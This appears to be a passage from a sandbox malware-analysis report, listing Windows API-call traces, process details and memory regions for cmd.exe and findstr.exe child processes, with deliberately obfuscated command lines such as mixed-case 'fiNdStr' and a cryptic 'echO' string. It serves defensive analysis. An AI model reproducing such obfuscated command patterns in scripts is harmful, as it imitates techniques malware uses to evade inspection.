	[0058.308] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x11, lpOverlapped=0x0) returned 1
	[0058.308] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.308] GetFileType (hFile=0x5c) returned 0x3
	[0058.308] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="scriptletfile=\"C:\\Windows\\system32\\NOTEPAD.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scriptletfile=\"C:\\Windows\\system32\\NOTEPAD.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 55
	[0058.308] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x36, lpOverlapped=0x0) returned 1
	[0058.308] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.309] GetFileType (hFile=0x5c) returned 0x3
	[0058.309] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="search=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="search=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", lpUsedDefaultChar=0x0) returned 59
	[0058.309] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x3a, lpOverlapped=0x0) returned 1
	[0058.309] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.309] GetFileType (hFile=0x5c) returned 0x3
	[0058.309] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="search-ms=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="search-ms=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", lpUsedDefaultChar=0x0) returned 62
	[0058.309] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x3d, lpOverlapped=0x0) returned 1
	[0058.309] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.309] GetFileType (hFile=0x5c) returned 0x3
	[0058.310] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SHCmdFile=%SystemRoot%\\explorer.exe\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SHCmdFile=%SystemRoot%\\explorer.exe\r\n", lpUsedDefaultChar=0x0) returned 38
	[0058.310] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x25, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x25, lpOverlapped=0x0) returned 1
	[0058.310] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.310] GetFileType (hFile=0x5c) returned 0x3
	[0058.310] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sip=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sip=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 68
	[0058.310] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x43, lpOverlapped=0x0) returned 1
	[0058.310] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.310] GetFileType (hFile=0x5c) returned 0x3
	[0058.310] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sips=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sips=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 69
	[0058.310] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x44, lpOverlapped=0x0) returned 1
	[0058.325] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0
	[0058.325] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.325] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 0
	[0058.325] _get_osfhandle (_FileHandle=0) returned 0x3
	[0058.325] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 1
	[0058.325] SetConsoleInputExeNameW () returned 0x1
	[0058.325] GetConsoleOutputCP () returned 0x1b5
	[0058.345] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0058.345] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0058.346] exit (_Code=0) 

Process:
	id = "10"
	image_name = "findstr.exe"
	filename = "c:\\windows\\system32\\findstr.exe"
	page_root = "0x519d2000"
	os_pid = "0xb68"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0xb58"
	cmd_line = "fiNdStr  cm "
	cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1224
	        start_va = 0x10000
	          end_va = 0x44fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1225
	        start_va = 0x50000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 1226
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 1227
	        start_va = 0x190000
	          end_va = 0x20ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000190000"
	        filename = ""

Region:
	              id = 1228
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1229
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1230
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1231
	        start_va = 0xff930000
	          end_va = 0xff945fff
	     entry_point = 0xff930000
	     region_type = mapped_file
	            name = "findstr.exe"
	        filename = "\\Windows\\System32\\findstr.exe" (normalized: "c:\\windows\\system32\\findstr.exe")

Region:
	              id = 1232
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1233
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1234
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 1235
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""

Region:
	              id = 1240
	        start_va = 0x90000
	          end_va = 0x18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 1241
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1242
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")


Thread:
	id = 97
	os_tid = 0xb6c


Process:
	id = "11"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x50ddf000"
	os_pid = "0xb70"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "7"
	os_parent_pid = "0xb50"
	cmd_line = "C:\\Windows\\system32\\cmd.exe  /S /D /c\" echO  ,%*[-,%   \""
	cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1243
	        start_va = 0x10000
	          end_va = 0x44fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1244
	        start_va = 0x50000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 1245
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 1246
	        start_va = 0xb0000
	          end_va = 0x1affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000b0000"
	        filename = ""

Region:
	              id = 1247
	        start_va = 0x49e40000
	          end_va = 0x49e98fff
	     entry_point = 0x49e40000
	     region_type = mapped_file
	            name = "cmd.exe"
	        filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")

Region:
	              id = 1248
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1249
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1250
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1251
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1252
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1253
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 1254
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 1255
	        start_va = 0x330000
	          end_va = 0x42ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000330000"
	        filename = ""

Region:
	              id = 1256
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1257
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1258
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1259
	        start_va = 0x20000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1260
	        start_va = 0x30000
	          end_va = 0x36fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1261
	        start_va = 0x40000
	          end_va = 0x41fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1262
	        start_va = 0x70000
	          end_va = 0x70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000070000"
	        filename = ""

Region:
	              id = 1263
	        start_va = 0x80000
	          end_va = 0x80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000080000"
	        filename = ""

Region:
	              id = 1264
	        start_va = 0x1b0000
	          end_va = 0x216fff
	     entry_point = 0x1b0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1265
	        start_va = 0x2a0000
	          end_va = 0x2affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002a0000"
	        filename = ""

Region:
	              id = 1266
	        start_va = 0x430000
	          end_va = 0x52ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000430000"
	        filename = ""

Region:
	              id = 1267
	        start_va = 0x530000
	          end_va = 0x6b7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000530000"
	        filename = ""

Region:
	              id = 1268
	        start_va = 0x6c0000
	          end_va = 0x840fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006c0000"
	        filename = ""

Region:
	              id = 1269
	        start_va = 0x850000
	          end_va = 0x1c4ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000850000"
	        filename = ""

Region:
	              id = 1270
	        start_va = 0x1c50000
	          end_va = 0x1f92fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001c50000"
	        filename = ""

Region:
	              id = 1271
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1272
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1273
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1274
	        start_va = 0x7fee69d0000
	          end_va = 0x7fee69d7fff
	     entry_point = 0x7fee69d0000
	     region_type = mapped_file
	            name = "winbrand.dll"
	        filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll")

Region:
	              id = 1275
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1276
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1277
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1278
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1279
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1280
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1319
	        start_va = 0x1fa0000
	          end_va = 0x209ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001fa0000"
	        filename = ""


Thread:
	id = 98
	os_tid = 0xb74

	[0058.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afeb0 | out: lpSystemTimeAsFileTime=0x1afeb0*(dwLowDateTime=0xe554c590, dwHighDateTime=0x1d475a6)) 
	[0058.501] GetCurrentProcessId () returned 0xb70
	[0058.501] GetCurrentThreadId () returned 0xb74
	[0058.501] GetTickCount () returned 0x1ebf3
	[0058.501] QueryPerformanceCounter (in: lpPerformanceCount=0x1afeb8 | out: lpPerformanceCount=0x1afeb8*=1813767500000) returned 1
	[0058.502] GetModuleHandleW (lpModuleName=0x0) returned 0x49e40000
	[0058.502] __set_app_type (_Type=0x1) 
	[0058.502] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e67810) returned 0x0
	[0058.503] __getmainargs (in: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610, _DoWildCard=0, _StartInfo=0x49e6e0f4 | out: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610) returned 0
	[0058.503] GetCurrentThreadId () returned 0xb74
	[0058.503] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb74) returned 0x38
	[0058.503] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0058.503] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40
	[0058.503] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0058.580] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0058.580] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afe48 | out: phkResult=0x1afe48*=0x0) returned 0x2
	[0058.580] VirtualQuery (in: lpAddress=0x1afe30, lpBuffer=0x1afdb0, dwLength=0x30 | out: lpBuffer=0x1afdb0*(BaseAddress=0x1af000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.580] VirtualQuery (in: lpAddress=0xb0000, lpBuffer=0x1afdb0, dwLength=0x30 | out: lpBuffer=0x1afdb0*(BaseAddress=0xb0000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.580] VirtualQuery (in: lpAddress=0xb1000, lpBuffer=0x1afdb0, dwLength=0x30 | out: lpBuffer=0x1afdb0*(BaseAddress=0xb1000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.580] VirtualQuery (in: lpAddress=0xb4000, lpBuffer=0x1afdb0, dwLength=0x30 | out: lpBuffer=0x1afdb0*(BaseAddress=0xb4000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.580] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x1afdb0, dwLength=0x30 | out: lpBuffer=0x1afdb0*(BaseAddress=0x1b0000, AllocationBase=0x1b0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30
	[0058.580] GetConsoleOutputCP () returned 0x1b5
	[0058.580] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0058.580] SetConsoleCtrlHandler (HandlerRoutine=0x49e63184, Add=1) returned 1
	[0058.581] _get_osfhandle (_FileHandle=1) returned 0x58
	[0058.581] SetConsoleMode (hConsoleHandle=0x58, dwMode=0x0) returned 0
	[0058.581] _get_osfhandle (_FileHandle=1) returned 0x58
	[0058.581] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 0
	[0058.581] _get_osfhandle (_FileHandle=0) returned 0x3
	[0058.581] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 1
	[0058.581] GetEnvironmentStringsW () returned 0x37bf50*
	[0058.583] FreeEnvironmentStringsW (penv=0x37bf50) returned 1
	[0058.583] GetEnvironmentStringsW () returned 0x37bf50*
	[0058.585] FreeEnvironmentStringsW (penv=0x37bf50) returned 1
	[0058.585] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aed08 | out: phkResult=0x1aed08*=0x40) returned 0x0
	[0058.585] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x0, lpData=0x1aed20*=0x18, lpcbData=0x1aed04*=0x1000) returned 0x2
	[0058.585] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x1, lpcbData=0x1aed04*=0x4) returned 0x0
	[0058.585] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x0, lpData=0x1aed20*=0x1, lpcbData=0x1aed04*=0x1000) returned 0x2
	[0058.585] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x0, lpcbData=0x1aed04*=0x4) returned 0x0
	[0058.585] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x40, lpcbData=0x1aed04*=0x4) returned 0x0
	[0058.585] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x40, lpcbData=0x1aed04*=0x4) returned 0x0
	[0058.585] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x0, lpData=0x1aed20*=0x40, lpcbData=0x1aed04*=0x1000) returned 0x2
	[0058.585] RegCloseKey (hKey=0x40) returned 0x0
	[0058.585] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aed08 | out: phkResult=0x1aed08*=0x40) returned 0x0
	[0058.586] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x0, lpData=0x1aed20*=0x40, lpcbData=0x1aed04*=0x1000) returned 0x2
	[0058.586] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x1, lpcbData=0x1aed04*=0x4) returned 0x0
	[0058.586] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x0, lpData=0x1aed20*=0x1, lpcbData=0x1aed04*=0x1000) returned 0x2
	[0058.586] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x0, lpcbData=0x1aed04*=0x4) returned 0x0
	[0058.586] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x9, lpcbData=0x1aed04*=0x4) returned 0x0
	[0058.586] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x9, lpcbData=0x1aed04*=0x4) returned 0x0
	[0058.586] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x0, lpData=0x1aed20*=0x9, lpcbData=0x1aed04*=0x1000) returned 0x2
	[0058.586] RegCloseKey (hKey=0x40) returned 0x0
